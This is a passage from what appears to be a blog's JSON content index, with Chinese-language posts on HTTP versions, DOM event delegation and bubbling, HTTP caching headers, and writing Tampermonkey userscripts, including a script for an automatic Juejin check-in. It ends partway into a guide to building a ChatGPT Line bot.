則引入更多的緩存策略，例如：Etag、If-Unmodified-Since、If-Match、If-None-Match，透過這些可以更優化緩存的實現 (這些標頭的使用在面試也很常考，詳見這篇文章)。\nHost 字段 HTTP/1.1 增加了 Host 字段，用來指定伺服器的域名。在 HTTP/1 中，會認為每台伺服器都綁定唯一的 IP 地址，因此請求當中的 URL 並沒有傳遞主機名(hostname)。但隨著之後虛擬主機技術的演進，現在在一台伺服器上可以存在多個虛擬主機，並且他們會共享同一個 IP 地址。所以有了 host 字段之後，就可以將請求發往同一台伺服器上的不同網站。\n更多請求方法 HTTP/1.1 相對於 HTTP/1 新增了許多請求方法，現今我們常用的 PUT, PATCH, DELETE, CONNECT, TRACE 和 OPTIONS 等都是在 HTTP/1.1 時新增的。\nHTTP/2 和 HTTP/1.1 比較 多路復用(Request multiplexing) 來解決頭部阻塞 (head-of-line blocking) HTTP/1.1 使用了 pipelining 的機制，這可以讓客戶端在同一個 TCP 連接內並行發出多個 HTTP 請求，客戶端也不需要等待上一次請求結果返回，就可以發出下一次請求，但伺服器端必須依照接收到的客戶端請求的先後順序一次返回，以保證客戶端能夠區分出每次請求的回應內容，但這項機制在實作上較難實現，因此各家瀏覽器，都將此功能預設為關閉。(可以參考此篇 stackoverflow)。此外 pipeline 也造成頭部阻塞(head-of-line blocking ( HOL ))問題，如果有任一個請求要操作很久或傳輸包流失，那就會阻塞整個 pipeline 的工作。\nHTTP/2 引進了多路復用的機制，讓同一個 TCP 連接中，同時發送和接受多個請求，並且不用等到前一個請求收到回應，透過這個機制，解決了過往在 HTTP 層級的的頭部阻塞問題 (備註：但 TCP 層級仍有頭部阻塞問題，這會在 HTTP/3 被解決)。\n優先請求順序 HTTP/2 版本中，每個請求或回應的所有數據包，稱之為一個數據流，並且，每個數據流擁有一個唯一編號 ID (stream ID)。每個數據包在發送的時候就會戴上對應的數據流編號 ID，客戶端還能指定數據流的優先級，優先級越高服務器也會越快做出回應。\n標頭(Header)訊息壓縮 在 HTTP/2 之前因為安全性問題，多數不會對標頭的訊息進行壓縮，主要是過去的採用的演算法可能遭受 CRIME 攻擊。在 HTTP/2 中，使用 HPACK 算法來避免攻擊，進而能壓縮標頭。因為壓縮標頭，讓傳輸時能大幅減少傳輸的訊息量，進而減少頻寬負擔，也增快傳輸速度。具體上 HPACK 使用一份索引表來定義常用的 http header，並把 http header 存放在表裡，請求的時候只需要發送在表裡的索引位置即可，不須用傳完整的標頭。\n伺服器主動推送(Server push) HTTP/2 允許伺服器端主動向客戶端推送數據，這能協助減少客戶端的請求次數。舉例來說，瀏覽器在過去要請求 index.html 與 style.css 來渲染完整的畫面；透過 Server Push，可以在瀏覽器請求 index.html 時，也由伺服器主動發送 style.css ，這樣只需要一輪 HTTP 的請求，就可以拿到所需的所有資源。\n","date":"2022-12-19T00:10:00Z","image":"https://live.staticflickr.com/65535/52571909202_4ddc6d0335_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-19/browser-http1.0-http1.1-http2.0-difference/","title":"面試常見的瀏覽器問題(三) - HTTP/1、HTTP/1.1 和 HTTP/2 的區別"},{"content":" 參考網站\n參考網站\n當使用者與瀏覽器互動時，會觸發各類不同的事件(event)，例如常見的點擊(click)、滑動(scroll)。我們可以透過 JavaScript 的事件處理器(handler)，來處理這些事件。讓我們能在事件觸發時，做出我們要的效果，例如點擊某個按鈕，觸發某個邏輯。\n針對瀏覽器事件，最常見的考題之一，便是事件委派、事件捕獲、事件冒泡，是很常見的面試考題。以下將用第一人稱的擬答，來回答「請說明瀏覽器中的事件委派、捕獲、冒泡」這個問題。\n事件委派 事件委派是當我們想要在一群子元素中，都加上同樣的事件監聽器與處理器時可以派上用場。當我們有許多相同元素，有相似的行為時，我們可以不用在每個元件都加上處理器，而是可以直接在父層加上處理器。這時透過 event.target 來得知實際上是哪一個元素發生事件，並處理該事件。\n這種把監聽器與處理器裝在父層，然後委派給子元素，就是所謂的事件委派。\n這麼做的好處是，我們不用在每個元件，例如每個按鈕上都加上處理器，這可以減少記憶體消耗；這也讓我們的架構更彈性，可以隨時新增或移除元素。也可以寫比較少的程式碼，讓可閱讀性提升。\n舉例來說 (編按：此例子來自 MDN)，如果想要在一長串列表中的每個項目，都加上處理器，我們可以直接加在父層，不用每個子元素都加上，就算今天有上百上千個子元件都是。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;div id=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tile\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;; 1 2 const container = document.querySelector(\u0026#39;#container\u0026#39;); container.addEventListener(\u0026#39;click\u0026#39;, (event) =\u0026gt; (event.target.style.backgroundColor = bgChange())); 事件捕獲 事件委派之所以能夠發生，是因為在背後的事件捕獲與冒泡機制。一般來說，當事件觸發時，會先進入捕獲階段，然後到達事件目標，接著才是冒泡階段。(建議在面試時，可以簡單手繪這張 W3C 的事件流程，會更加幫助說明唷！)\n從上圖可得知，所謂的捕獲階段是指：當某個事件觸發時，例如使用者點了某個按鈕，此時由 DOM 樹的最上層 Window 一路往下，將事件傳遞下去並執行。實際在程式碼上，需要在事件監聽器中，加入 {capture: true} 來開啟捕獲機制。\n事件冒泡 冒泡階段則是比較常用的，跟捕獲階段相反，它是先在目標上執行事件處理器，接著傳遞到父層，再傳到祖父層，然後一路傳上去。\n1 2 3 4 5 6 7 \u0026lt;form onclick=\u0026#34;alert(\u0026#39;form 點擊事件觸發\u0026#39;)\u0026#34;\u0026gt; 這是一個 form 元素 \u0026lt;div onclick=\u0026#34;alert(\u0026#39;div 點擊事件觸發\u0026#39;)\u0026#34;\u0026gt; 這是一個 div 元素 \u0026lt;p onclick=\u0026#34;alert(\u0026#39;p 點擊事件觸發\u0026#39;)\u0026#34;\u0026gt;這是一個 p 元素\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; 以上面的例子來說(建議在面試時也可以簡單快速手寫這個例子，可以幫助說明)，當我們在子層 \u0026lt;p\u0026gt; 裝一個 onclick 的處理器，點下去時，不僅該元素有跑出 alert ，其父層 \u0026lt;div\u0026gt; 的 onclick 也被觸發，然後祖父層 \u0026lt;form\u0026gt; 的 onclick 也接續被觸發。\n這邊有個細節需要分別，在冒泡時的 this 不必然等於 event.target，而是會等於 event.currentTarget。換句話說，this 是正在執行的處理器 (會一直變成下一個)；而 event.target 一直都會是真正變點擊的那個(在這邊就是最裡頭的子層)。\n在實務上，我們有時候不想要冒泡，例如只想要子元素的事件被觸發，不想要父層的元素被觸發，避免干擾。這時候想要不發生冒泡，可以在處理器加上 event.stopPropagation()(不過這個仍會讓該處理器執行，只是不會冒泡上去)；如果連該處理器的其他事件類別都不想執行的話，可以用 event.stopImmediatePropagation()。\n","date":"2022-12-19T00:05:00Z","image":"https://live.staticflickr.com/65535/52571751437_6018c4804c_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-19/browser-delegation-capture-bubble/","title":"面試常見的瀏覽器問題(二) - 事件委派、捕獲、冒泡"},{"content":" 參考網站\n參考網站\n如果要加快網頁應用程式的速度，caching 是個經常被用的策略 (caching 中文有被翻譯成緩存或快取，但因為工作與面試時都還是會說 caching 居多，這篇就暫不翻譯這個詞了)。當我們已經跟後端請求過某個資源，例如某筆資料或某張圖片，下一次再次請求時，如果該資源沒有改變，這時再次請求會相對浪費網路頻寬；反之，如果第一次請求來的資源已經被存下來，那麼下次請求時，可以直接用該資源，這樣可以減少不必要的請求。而這也是 caching 的概念。\ncaching 可以被應用在很多地方，AWS 的這篇文章中有概略分析到，在客戶端、DNS、伺服器、資料庫等地方都可以做 caching。而身為前後端工程師，在面試中很常被問到的是 HTTP 的 caching 機制。透過本篇文章，希望讓大家下次面試時被問到「請說明 HTTP caching 機制」時，可以解釋地夠清楚與完整。\nHTTP caching 是用在哪？ 為什麼要用 HTTP caching？ 可以把 cache 理解成某個我們暫時存放資源(例如某筆資料、某張圖片)的地方，所以當下次需要這些資源時，不用再請求一次，而是可以直接從 cache 這個暫存處拿到。換到 HTTP caching 的脈絡，這個暫存的地方就是瀏覽器。\n舉例來說，當今天使用者逛了 LV 的官網，官網中的商品圖片與價錢，不太會快速改變，換句話說現在逛跟一小時後逛，看到的資訊很可能是完全一樣的。\n這時當第一次逛網站時，前端跟伺服器請求了這些商品圖片、描述與價錢，把他們 cache 起來 (放在瀏覽器記憶體的某個地方)，當使用者下次逛的時候，就不需要再跟伺服器請求了。下面這張是來自 MDN 的圖示，可以看到，如果沒有 cache，每一次請求都要對到伺服器；然而如果有 cache，則可以從 cache 裡面拿，可以減少直接對伺服器的請求：\n讀到這邊我們可以歸納出，這麼做有幾項 caching 好處，也是我們為什麼要用 caching 的理由：\n減少請求次數：因為不用請求，而是直接從 cache 拿出之前暫存的資料，這樣做能減少伺服器與資料庫端的負擔。 加快資源載入：向伺服器請求，需要等網路傳輸資料。直接從瀏覽器裡面的 cache 拿，就不用等這一段資料傳輸的時間，會快很多。 該如何設定 HTTP caching？ 上面談到 HTTP caching 的好處，以及可以把跟伺服器請求來的資料 cache 在瀏覽器中。但實際上該如何設定呢？這也是面試時會被追問的。\n以下有幾種方式：\nExpires 第一種方式是在 HTTP Response header 當中加入 Expires，舉例來說：\n1 Expires: Tue, 18 Jul 2022 16:07:23 GMT 瀏覽器收到該回應的資料會先把資料存在 cache 當中，而下一次用戶發送相同請求時，瀏覽器會去判斷現在時間是否已經到了 Expires 設定的時間，如果還沒到，那就會直接從 cache 裡面拿資料，而不是發送請求。\ncache-control 由於 Expires 是比較舊的方法，現在比較少人會用，更多人會用 cache-control。cache-control 的設定方式不是直接設定一個 cache 過期的時間點，而是設定 cache 有效的時間。舉例來說，下面這段是設定 cache 有效期是 60 秒。所以在第一次請求拿到回應後的六十秒內，如果在發送相同請求，瀏覽器都會直接拿 cache 的資料，而不是發請求到伺服器端：\n1 cache-control: max-age=60 cache-control 快問快答 關於 cache-control 的設定，有一些面試常會被問的快問快答，以下列出題目。下面會有答案，不過大家可以先自己想想看，看看自己知不知道這些問題的回答。\n如果只想讓客戶端 cached，而不想讓中間層的代理伺服器等其他層 cached，該用什麼？ 反之，如果想讓代理伺服器也能夠 cached 從後端來的資料，該用什麼？ 因為很多時候瀏覽器可能會自動 cache，如果完全不想要有 cache，想要內容一直都是最新的，那又該用什麼 cache-control: no-store 跟 cache-control: no-cache 兩者有什麼差別？ 上面的問題的回答分別是：\ncache-control: private cache-control: public cache-control: no-store cache-control: no-store 是指不要 cache，而 cache-control: no-cache 則是指會 cache，不過每一次請求時都要重新驗證一次 (revalidate)，換句話說每次都還是會問伺服器內容有沒有更新，沒更新就用 cache 的。詳見這篇討論。\nHTTP caching 過期後，該如何重新驗證？ 上面提到我們可以透過 cache-control: max-age 來設定多久後 cache 過期；不過當 cache 過期後就要直接跟伺服器請求嗎？\n如果 cache 過期了，但其實伺服器那邊的資料並沒有更新，換句話說 cache 還是可以繼續被使用，這時有沒有什麼方法可以避免我們直接重新請求，繼續使用 cache？\n有的，這又被稱為驗證 (validation)，而 HTTP caching 有兩種主要方式可以做到這件事。\nETag (搭配 If-None-Match) 第一個方式是在回應的 header 當中放入 ETag (entity tag 的簡寫)。這個 ETag 會是一個獨特的值，例如 ETag: \u0026ldquo;686897696a7c876b7e\u0026rdquo;；如果後端的資料有變動，則 ETag 會改變。如果伺服器在回傳的 header 中有放入 ETag， 則之後瀏覽器在請求時，會在請求的 header 帶上 If-None-Match 欄位，而欄位的值會是之前收到的 ETag 的獨特值。\n這時後端收到了該請求，並去查看 If-None_match 當中的 ETag 跟現在的 ETag 是不是一樣的。如果是一樣的，就代表後端的資料沒變(因為如果資料有變，則 ETag 會跟著變)；這時只需用傳個 304 Not Modified 給前端，瀏覽器收到 304 後，就知道資料沒變，所以可以繼續用 cache 的。\n而如果後端比較了 ETag 發現改變，那就不是回傳 304，而是回傳一包新的資料。\nLast-Modified (搭配 If-Modified-Since) 第二個方式則是在伺服器的回應 header 中加入 Last-Modified，並標注最後修改該資源的時間，例如 Last-Modified: 2021-11-07 21:32:16。\n當瀏覽器收到帶有 Last-Modified 的回應後，之後的請求就會帶上 If-Modified-Since，然後帶上先前收到的時間，例如 If-Modified-Since: 2021-11-07 21:32:16。伺服器收到帶有 If-Modified-Since 的請求，比對了時間，如果更新資源的時間沒有變，拿一樣可以回傳 304 Not Modified 給前端，如果變了則回傳 200 以及新的資料。\n","date":"2022-12-19T00:00:00Z","image":"https://live.staticflickr.com/65535/52571693467_4bcdc4d080_o.png","permalink":"https://blog.wayne-project.com/2022-12-19/browser-http-caching/","title":"面試常見的瀏覽器問題(一) - HTTP caching 機制"},{"content":" 參考網站\n參考網站\n油猴腳本運行於油猴插件之上，油猴插件本質上對瀏覽器能力的再封裝。既然如此，我們先來簡單了解一下瀏覽器插件。\n瀏覽器插件(Browser Extension)：瀏覽器的擴展應用 說的直白一點，就是拿著瀏覽器開放的能力(插件API)，去實現一些小型應用。\n瀏覽器插件主要由四部分構成：background scripts、content scripts、全局 UI 元素、options page。\nbackground scrips: 後台腳本，一個後台腳本是一個獨立線程，是游離於各個頁面之外的\u0026quot;上帝之眼\u0026quot;。具有訪問各類插件 API 的能力，但同時也喪失了直接操作頁面的能力。 content scripts：內容腳本，具有直接操作頁面的能力。其實就是在頁面中運行 js 腳本，可以使用 DOM API。content script 只能直接訪問少量插件 API，但能和 background script 進行雙向通信完成數據交換。 全局 UI 元素：瀏覽器層的UI 交互，包括： 在 Toolbar 顯示 icon，定義點擊 icon 後顯示的 Popup 或其他效果 增加右鍵選項 增加全局快捷鍵 改造新Tab 頁、歷史記錄頁、書籤頁 options page：插件配置頁。 瀏覽器插件的核心機制可以用下圖簡單概括：\n想必，大家最好奇的還是有哪些 API 以及能用這些 API 做什麼，這裡例舉幾個：\ncontextMenus：增加右鍵選項。 使用選中文本，例如：劃詞翻譯、文本收集 快速調用插件功能，例如：打開 DevTool，頁面剪藏 cookies：增刪改查 cookie(任意域名)，直接拿著本地 cookie 發送請求，不必再做授權。同時由於後台腳本不是 Web 頁面，在發送請求時沒有跨域限制。 多平台信息聚合 多平台信息分發 devtools.panels：增加 Devtool 面板，這個對前端開發者來說應該很熟悉，React Developer Tools、Vue.js devtools。 notifications：瀏覽器通知，未打開頁面的情況下進行通知，可以輔助一些工具類應用。 storage：全局保存數據，可跟隨瀏覽器帳戶同步。 這裡例舉的只是我常用的一些，只是滄海一粟，更多 API 可以查閱：\nChrome Extension API Reference 支持用於擴展Microsoft Edge API Mozilla WebExtensions API 瀏覽器插件就簡單介紹到這裡，如果有興趣繼續了解，推薦：Chrome、Edge、Mozilla三家的文檔。\n油猴插件(Tampermonkey) 瀏覽器插件可以實現各式各樣的功能，但有時候開發者只是想對某一個站點加一點點小功能，如果這也要構建環境打包上架分發，未免就太麻煩了一些；從應用市場角度來看，充斥著顆粒化的應用，市場也會擁擠繁雜不堪。\n油猴插件為輕量化腳本提供了一個平台，在線編輯器中編寫油猴腳本即時生效，通過 Github、GreasyFork 快速分發。\n在油猴插件中，content script 起到非常重要的角色，它將用戶編寫的代碼運行在頁面中，同時提供 GM_xxxx 函數封裝瀏覽器的部分能力。封裝的內部實現是和 background script 通信，驅動 background script 調用插件API。\n對油猴插件簡單了解之後，來看看如何編寫油猴腳本。\nTampermonkey API 油猴腳本由頭部和核心邏輯兩部分組成。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // ==UserScript== // @name New Userscript // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.tampermonkey.net/documentation.php?ext=dhdg // @icon https://www.google.com/s2/favicons?domain=tampermonkey.net // @grant none // ==/UserScript== (function() { \u0026#39;use strict\u0026#39;; // Your code here... })(); 頭部 頭部是腳本的一些元信息、更新方式、指定運行頁面、權限聲明，逐一解釋一下：\n配置名 作用 使用技巧 @name 腳本顯示的名稱 加後綴實現國際化，例如：@name:zh-CN 指定在瀏覽器語言為中文時顯示的名稱 @namespace 腳本的命名空間，可以理解為腳本的標識 為了避免衝突一般使用 Github 倉庫地址 @version 與更新相關，當前版本 @updateURL 檢查腳本是否更新地址 配合 @version 和自動更新使用 @downloadURL 檢測到更新時，去哪下載腳本 @supportURL 遇到問題時，用戶去哪反饋 @include 腳本在哪些頁面運行 可使用正則，不支持 hashtag，多個頁面的地址聲明多個 @include 即可 @match 與 @include 類似 @exclude 腳本禁止在哪些頁面運行，優先於 @include @require 在腳本運行前引入外部 JavaScript 文件 例如：引入 jQuery @resource 聲明外部資源文件，搭配 GM_getResourceText 使用 例如：引入 html、icon @connect 聲明 GM_xmlhttpRequest 可訪問的域 必須指定才能正常請求 @grant 聲明 GM_xxx 函數的使用列表 必須先指定權限才能正常使用 @run-at 指定腳本運行時機 document-start：盡快執行document-body：當 body 掛載時執行document-end：DOMContentLoaded 觸發時執行document-idle：DOMContentLoaded 觸發後執行，也是默認設置項context-menu: 右鍵菜單項被點擊時執行 @author 作者名 @description 簡短介紹 同樣可以加後綴實現國際化，例如：@description:zh-CN @homepage 主頁地址 如果未設置並且 @namespace 是倉庫地址，默認導向倉庫地址 @icon 腳本 icon @icon64 64x64 像素的腳本 icon @antifeature 腳本是否有廣告、挖礦、數據收集等商業行為 @noframes 聲明腳本不在 iframe 中運行 核心邏輯 核心邏輯通過一個立即執行函數包裹，避免和全局作用域相互干擾。Tampermonkey 將瀏覽器的部分能力封裝為 GM_XXX 函數以供調用：\nAPI 作用 使用技巧 unsafeWindow 訪問頁面的 Window 對象 GM_addStyle(css) 創建全局樣式的快捷方式，向頁面插入 style 元素 也可以用 DOM 操作手動創建 GM_addElement(tag_name, attributes)GM_addElement(parent_node, tag_name, attributes) 向 DOM 新建元素的快捷方式 也可以用 DOM 操作手動創建 GM_log(message) 在 Console 中打印信息 console.log 的快捷方式 GM_getValue(name, defaultValue) 從存儲體中獲取數據 GM_deleteValue(name) 從存儲體中刪除數據 GM_listValues() 列舉存儲體中所有數據項 GM_addValueChangeListener 監聽數據更新 例如要使 Tab 間數據同步，可以用監聽 value 達成同步 GM_removeValueChangeListener 移除監聽 GM_getResourceText(name) 獲取 @resource 中已聲明的資源 GM_getResourceURL(name) 獲取 @resource 中已聲明的資源(base64 URI 形式) GM_registerMenuCommand(name, fn, accessKey) 在 Tampermonkey 的 popup 中增加選項 GM_unregisterMenuCommand(menuCmdId) 移除選項 GM_openInTab(url, options) 新開一個 tab 頁 GM_xmlhttpRequest(details) 使用後台腳本進行請求，自動帶上 cookie，無跨域問題，目標域需要在 @connect 中提前聲明 GM_download(details) 下載資源到本地 GM_getTab(callback) 獲取當前 tab 的 object 對象 GM_saveTab(tab) 通過 tab 的 object 對象重新打開一個 tab GM_getTabs(callback) 獲取當前存活的所有 tab 的對象，以便和其他腳本實例溝通 GM_notification 使用插件 notification API 彈出桌面通知 GM_setClipboard 複製內容到剪貼板 GM_info 獲取腳本的油猴插件的信息 完整的說明文檔：Tampermonkey documentation\n實踐：打印 \u0026ldquo;Hello, World\u0026rdquo; 做一個非常簡單的小練習：創建一個名為 \u0026ldquo;Hello\u0026rdquo; 的腳本，當進入掘金和知乎頁面時，在 Console 中打印 \u0026ldquo;Hello, World\u0026rdquo;。\n新建腳本 修改腳本名稱 指定運行地址 @match 或 @include 直接使用 console.log 或者聲明權限調用 GM_log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // ==UserScript== // @name Hello // @namespace http://tampermonkey.net/hello // @version 0.1 // @description try to take over the world! // @author You Name // @match https://zhihu.com/* // @match https://juejin.cn/* // @grant GM_log // ==/UserScript== (function() { \u0026#39;use strict\u0026#39;; GM_log(\u0026#34;Hello World\u0026#34;); })(); 搭建舒適的開發環境 使用在線編輯器小試牛刀之後，或許你也發現在線編輯器：\n缺少語法補全和自動提示 難以格式化代碼 不免懷念起 VSCode。\n或許你還會有更深遠的考慮，在線編輯器編輯完成後：\n怎麼同步到遠程倉庫，怎麼做代碼分發 如果要用到新語法，怎麼保證跨瀏覽器兼容性 如果代碼越寫越多，沒有模塊化怎麼管理 沒有 TS，很難保證長期維護 這些坑我已經踩過了，並且抽出一個腳手架工具 create-tampermonkey - npm (npmjs.com)，一鍵搭建舒適的油猴腳本開發環境。\n腳手架集成 rollup + babel + eslint + typescript，支持：\n自動生成 UserScript Header 語法和類型系統：ESNext、ES Module、TypeScript 樣式系統：CSS Modules，以及 scss、sass、less、stylus (需安裝對應依賴) 靜態資源：導入圖片、SVG 轉換為 Base64，同時支持 SVG Sprite 多語言 擴展：基於 Rollup，可以按需安裝插件進行擴展 create-tampermonkey 啟動項目 初始化項目 1 2 3 4 5 npx create-tampermonkey demo-userscript # 或者 npm init tampermonkey demo-userscript # 或者 yarn create tampermonkey demo-userscript 初始化完畢後，進入目錄安裝依賴。 1 npm run dev # 跑起開發模式 到瀏覽器中打開 dev.user.js，自動進入 Tampermonkey 腳本安裝界面。 最後一步：配置油猴插件 訪問 chrome://extension，找到油猴插件的卡片，點擊 Details 進入配置界面。\n勾選 Allow acess to file URLs。\n刷新頁面，出現彈窗，一切就緒。\n用 VSCode 打開項目，這時右下角會推薦一些輔助插件，建議安裝。\n代碼中使用到的 GM_xxx 會自動提取到 UserScript Header 中，當然也可以在 src/meta.json 中自定義。\n代碼的默認入口是 src/main.js 文件。\n實踐：掘金簽到功能 基於上面初始化的項目 demo-userscript 做一個小功能：掘金簽到功能。\n定位請求 \u0026ldquo;掘金簽到\u0026quot;本質是調用接口，我們的實現思路是追踪點擊\u0026quot;立即簽到\u0026quot;按鈕時請求發送情況，定位到\n調試接口 打開 Postman 做一下調試，這裡有一個導入小技巧：右鍵拷貝 cURL。\n到 Postman 中通過 curl 導入整個請求：點擊左側面板中的 import 按鈕，選擇 Raw text 貼上上一步複製的內容即可。\n獲取參數 在 Postman 中發現請求需要 aid、uuid、_signature 三個參數，試試看不帶參數能否請求成功，先確定好必不可少的參數和請求頭。\n簡單嘗試後，發現這裡並不需要帶 aid、uuid、_signature 三個參數，主要是依賴 cookie，使用 GM_xmlhttpRequest 會自動帶上對應的 cookie，事情變得簡單。\n修改 src/main.js 的代碼：\nsrc/main.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 GM_xmlhttpRequest({ url: \u0026#34;https://api.juejin.cn/growth_api/v1/check_in\u0026#34;, method: \u0026#34;POST\u0026#34;, headers: { \u0026#34;content-type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;user-agent\u0026#34;: navigator.userAgent, }, responseType: \u0026#34;json\u0026#34;, onload(response) { if (response.status === 200) { const data = response.response; if (data.data === \u0026#34;success\u0026#34;) { alert(\u0026#34;簽到成功\u0026#34;); } else { alert(data.err_msg); } } }, }); 刷新頁面測試一下。在其他站點刷新一下居然也可以發送請求，這就是插件沒有跨域限制的優勢了。\n再做一下節流優化。利用 GM_setValue 和 GM_getValue 做持續存儲。\nsrc/main.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 const storageKey = \u0026#34;last_sign_timestamp\u0026#34;; // 取得上一次簽到的日子 const lastSignNumberOfDays = GM_getValue(storageKey, 0); // 計算現在所在的日子 const currentNumberOfDays = Math.floor( new Date().valueOf() / 1000 / 60 / 60 / 24 ); // 如果今天已经請求過，不再請求 if (currentNumberOfDays !== lastSignNumberOfDays) { GM_xmlhttpRequest({ url: \u0026#34;https://api.juejin.cn/growth_api/v1/check_in\u0026#34;, method: \u0026#34;POST\u0026#34;, headers: { \u0026#34;content-type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;user-agent\u0026#34;: navigator.userAgent, }, responseType: \u0026#34;json\u0026#34;, onload(response) { if (response.status === 200) { const data = response.response; if (data.data === \u0026#34;success\u0026#34;) { alert(\u0026#34;簽到成功\u0026#34;); } else { alert(data.err_msg); } // 更新最近一次簽到的日子 GM_setValue(storageKey, currentNumberOfDays); } }, }); } 難免會遇到需要獲取數據的情況，可訪問的數據一般有三種：\n頁面中包含數據，通過DOM 獲取 通過接口請求得到 存儲在本地存儲中，localStorage 或 cookie 之類 確定方式很粗暴：\n複製參數或參數值到Element 中搜索 查看前面幾個請求，看看是否有跡可循 到 localStorage 或 cookie 中搜索 發布腳本 在本地開發完腳本之後，npm run build 構建生產版本並上傳代碼到 Github 或 Gitee。\n用 Github/Gitee 上文件的 Raw URL 就能直接實現分發。如果在 package.json 中設置好 repository，create-tampermonkey 會自動生成 Raw URL 並賦給 downloadURL、updateURL。\n但這樣分發存在的問題是無法統計下載量、從網絡訪問的角度考慮同時維護 Github 和 Gitee 兩個倉庫。\n另一種分發方式是上傳到腳本平台 greasyfork.org/，登錄後即可發布新腳本，如果代碼託管在 Github 或 GitLab 還可以使用 Webhooks 實現自動更新。\n開發技巧 調試油猴腳本 油猴腳本的運行依託於 background script 和 content script，在調試前需要對運行環境有所區分，例如 GM_xmlhttpRequest 請求是 background script 發出的，DOM 處理和腳本邏輯是 content script 執行的。\n確定環境之後，就可以使用對應的調試方式進行調試了。\n調試 background script 還是訪問 chrome://extension，找到油猴插件的卡片：\ninspect views 後面有個 background.html，點擊一下彈出 background script 的調試彈窗。\n調試 content script 在網頁inspect -\u0026gt; Sources -\u0026gt; Page 下找到 Tampermonkey 目錄，頁面中運行的油猴腳本代碼都在這了，選擇目標，斷點調試即可。\n獲取 userId 等信息 有時候需要拿一些額外信息做請求，一般有三種方式：\n看看能不能在頁面中搜索到，通過 DOM 獲取 看看有沒有接口可以調用獲取 看看本地存儲裡有沒有 目標 DOM 節點未掛載怎麼辦？ 如果節點是在首屏加載的，粗暴的方法是使用 setTimeout 做一下延時。\n但如果是在交互過程中有DOM 更新，就只能引入監聽機制了，使用 MutationObserver 來實現。\n具體的實例可以看【開發記錄】掘金\u0026quot;破圈行動\u0026rdquo; 輔助腳本- 掘金(juejin.cn)\n查看插件源碼 瀏覽器插件安裝之後，插件包被下載到本地目錄中，可通過下述方法訪問。\n訪問 chrome://version，找到 Profile path(存放用戶數據的路徑)\n訪問 chrome://extensions/，找到目標插件的ID\n將 Profile Path 和插件 ID 拼裝在一起 ${Prifile Path}/Extensions/${Extension Id}，便是插件包的路徑了。友情提示，通過命令行訪問時需要在空格前加個 \\ 轉義一下。\n總結 瀏覽器插件利用瀏覽器能力進行功能擴展，具有跨域請求、讀取 cookie、管理歷史記錄、註冊右鍵項等能力。\n瀏覽器插件的能力很豐富，能夠實現複雜的功能。但如果只是做一些針對頁面的操作，只需要依賴基礎能力，完全可以使用油猴腳本實現，開發更便捷分發更迅速。\n開發油猴腳本，主要是使用 Tampermonkey API 和 JavaScript。\ncreate-tampermonkey 腳手架提供一個全面的油猴腳本開發環境，依托這個環境，可以使用最新的 ES 語法、TypeScript、CSS Modules，在 VSCode 中進行模塊化開發，大大提高開發效率。\n開發完畢的油猴腳本可通過 Github/Gitee Raw URL 或 Greasy Fork 平台分發。\n瀏覽器插件的主要分工為 background script 和 content script 兩部分，在調試油猴腳本時需要思考清楚是哪一部分出現的問題，再採用對應的調試方式。\n實現了兩個小實踐，走出第一步，接下來盡情發揮創造力吧，玩得開心～\n最後分享一下我的 Tampermonkey UserScripts 清單，持續更新，需要的歡迎下載來使用！\n","date":"2022-12-15T00:00:00Z","image":"https://live.staticflickr.com/65535/52564977913_09952966be_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-15/tampermonkey-userscript-tutorial/","title":"【Tampermonkey】輕鬆上手 - 油猴腳本開發"},{"content":" 參考網站\n參考網站\n最近 OpenAI 的 ChatGPT 非常的火紅，剛好這個 ChatGPT 是有提供 API 可以串接的，也非常適合整合到 Line Bot 上，所以這一篇我就來介紹如何使用 Node.js 基於 OpenAI 的 ChatGPT API 來建立一個 Line 聊天機器人吧！\n申請 OpenAI API 首先，請你先進入 OpenAI 的網站註冊會員，這邊你可以選擇第三方服務帳號(如：Google、Microsoft)或是 Email 帳號註冊。\n註冊完後，你就可以開始申請 API 了！\n如果你本身有帳號的話，那就直接登入 OpenAI 吧。\n登入後，你應該會看到這個畫面\n接著找到你的頭像點它，找到「View API keys」。\n找到後你會看到「API keys」的申請畫面，點一下下方的「Create New Secret key」，這樣你就拿到串接 OpenAI 的 